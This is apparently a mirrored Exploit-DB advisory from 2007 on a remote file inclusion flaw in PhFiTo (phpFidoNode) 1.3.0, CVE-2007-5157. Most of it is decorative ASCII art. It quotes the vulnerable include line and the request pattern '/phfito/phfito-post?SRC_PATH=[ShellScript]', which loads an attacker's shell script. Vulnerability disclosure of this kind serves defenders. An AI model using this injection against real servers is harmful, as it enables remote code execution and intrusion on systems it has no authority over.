Exploit PhFiTo 1.3.0 - 'SRC_PATH' Remote File Inclusion

[Exploiter]

EDB-ID

4464

Проверка EDB

1. Пройдено

Автор

W0CKER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-5157

Дата публикации

2007-09-28

?????__________________________________________?????
????????_____________________________________???????
???????????_________________________________????????
??????????????_____________________________?????????
????????????????__________________________??????????
???????????????????______________________???????????
?????????????????????___________________????????????
??????????????????????_________________?????????????
????????????????????????_______________?????????????
??????????????????????????_____________?????????????
___?????????????????????????__________??????????????
_____?????????????????????????________??????????????
________???????????????????????_______??????????????
___________??????????????????????_____??????????????
________________???????????????????___??????????????
_____________________???????????????__??????????????
___________________________????????????????????????_
_____________________???????????????????????????____
______________???????????????????????????????_______
___________???????????????????????????????????______
________????????????????????????????????????????____
______????????_____??????????????????????????????___
____?????????_______??????????????????????????????__
__???????????_______???????????????????????????????_
_?????????????_____?????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
_??????????????????????????????????????????????????_
__?????????????????????????????????????????????????_
_____?????????????????????????????????????????????__
_________????????????????????????????????????????___
_______________??????????????????????????????????___
_________________???????????????????????????????____
_________________???????????????????????????________
________________??? ???????_____ ??????????___________
_________________?????_________?????_________?????__
__________????_________????____________?????????____
__________?????????????????_____??????????__________
__________?????????????????___?????_________________
__________?????______??????_________________________
# phpFidoNode  <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
##################################################
#ERROR1:phfito-post.php
#require_once $SRC_PATH."P_phfito.php";;<<< rfi coded.
#Other Files:
#/phfito/phfito-post?SRC_PATH=[ShellScript]
##################################################
#Download:http://switch.dl.sourceforge.net/sourceforge/phpfidonode/phfito-1.3.0.tar.gz
#
##################################################
####specialthanx:####Str0ke####Kezzap66345################
##################################################

# milw0rm.com [2007-09-28]